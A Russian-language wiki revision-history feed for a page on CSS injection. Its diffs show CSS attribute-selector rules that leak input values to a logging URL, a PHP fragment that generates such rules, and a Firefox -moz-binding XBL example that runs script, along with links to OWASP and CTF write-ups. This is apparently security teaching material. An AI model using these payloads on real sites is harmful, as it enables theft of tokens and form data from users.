Cssi - История изменений

Drakylar: Добавил URL Follow

2018-06-30T13:56:50Z

Добавил URL Follow

2017-07-22T22:05:24Z

‎Примеры

2017-07-22T21:57:57Z

‎Полезные ссылки

2017-07-22T21:56:23Z

‎Firefox

2017-07-22T21:56:02Z

‎Полезные ссылки

2017-07-22T21:52:16Z

‎CSS inj -> XSS

2017-07-22T21:49:46Z

‎CSS inj -> XSS

2017-07-22T21:49:10Z

‎CSS inj -> XSS

2017-07-22T21:26:20Z

‎Автоматизация

2017-07-22T21:25:44Z

‎Автоматизация

@@ Строка 36: / Строка 36: @@
 Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).
 ===Получение токенов===
@@ Строка 221: / Строка 229: @@
 [https://tsublogs.wordpress.com/2016/06/25/whitehat-contest-11-ultimate-design-tool-web100/ WhiteHat Contest 11 Ultimate Design Tool – web100]
 ==Полезные ссылки==

← Предыдущая		Версия 22:05, 22 июля 2017
Строка 219:		Строка 219:

	==Примеры==		==Примеры==
		+
		+	[https://tsublogs.wordpress.com/2016/06/25/whitehat-contest-11-ultimate-design-tool-web100/ WhiteHat Contest 11 Ultimate Design Tool – web100]

	==Полезные ссылки==		==Полезные ссылки==

@@ Строка 223: / Строка 223: @@
 [https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005) OWASP]
 [https://raz0r.name/articles/css-attacks/ raz0r post]
 Заметка: добавить про чтение токенов и PRSSI

@@ Строка 54: / Строка 54: @@
 ...
 input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
-input[value^=a]{ background-image:url(http://itsecwiki.org/log?z); }
+input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); }
 input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
 ...
@@ Строка 64: / Строка 64: @@
 Можно перебирать по одной букве.
 ====Chrome====

@@ Строка 221: / Строка 221: @@
 ==Полезные ссылки==
-https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)
+[https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005) OWASP]
 Заметка: добавить про чтение токенов и PRSSI

@@ Строка 180: / Строка 180: @@
      </binding>
 </bindings>
 </syntaxhighlight>

@@ Строка 151: / Строка 151: @@
 Файл test.html:
-<syntaxhighlight lang="html" line="1" style="overflow-x:scroll" >
+<syntaxhighlight lang="html4strict" line="1" style="overflow-x:scroll" >
 <html>
 <head>

← Предыдущая		Версия 21:49, 22 июля 2017
Строка 139:		Строка 139:

	===CSS inj -> XSS===		===CSS inj -> XSS===
		+
		+	====Firefox====
		+
		+	[https://developer.mozilla.org/en-US/docs/Web/CSS/-moz-binding Официальная страница Firefox]
		+
		+	[http://help.dottoro.com/lcxlpaqh.php Пример]
		+
		+	В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding.
		+
		+	Пример:
		+
		+	Файл test.html:
		+	<syntaxhighlight lang="html" line="1" style="overflow-x:scroll" >
		+	<html>
		+	<head>
		+	<style>
		+	#bindingTest {
		+	-moz-binding : url("somexbl.xml#alert-it");
		+	}
		+	</style>
		+	</head>
		+	<body>
		+	Move your mouse over <b id="bindingTest">this text</b>.
		+	</body>
		+	</head>
		+	</html>
		+	</syntaxhighlight>
		+
		+	Файл somexbl.xml:
		+	<syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" >
		+	<?xml version="1.0" encoding="utf-8"?>
		+	<bindings xmlns="http://www.mozilla.org/xbl">
		+	<binding id="alert-it">
		+	<content>
		+	<children />
		+	</content>
		+	<handlers>
		+	<handler event="mouseover" action="alert('XSS');"/>
		+	</handlers>
		+	</binding>
		+	</bindings>
		+	</syntaxhighlight>

	==Примеры==		==Примеры==

@@ Строка 125: / Строка 125: @@
                                  $word .
 	                           $value .
-	']{ background-image:url(' .
+           ']{ background-image:url(' .
 	                            url() .
 	                      '?site_id=' .
@@ Строка 135: / Строка 135: @@
 ?>
 </syntaxhighlight>

@@ Строка 68: / Строка 68: @@
 ====Автоматизация====
 <?php
 /* Использование
@@ Строка 137: / Строка 136: @@
 ?>
 </syntaxhighlight>
 ===CSS inj -> XSS===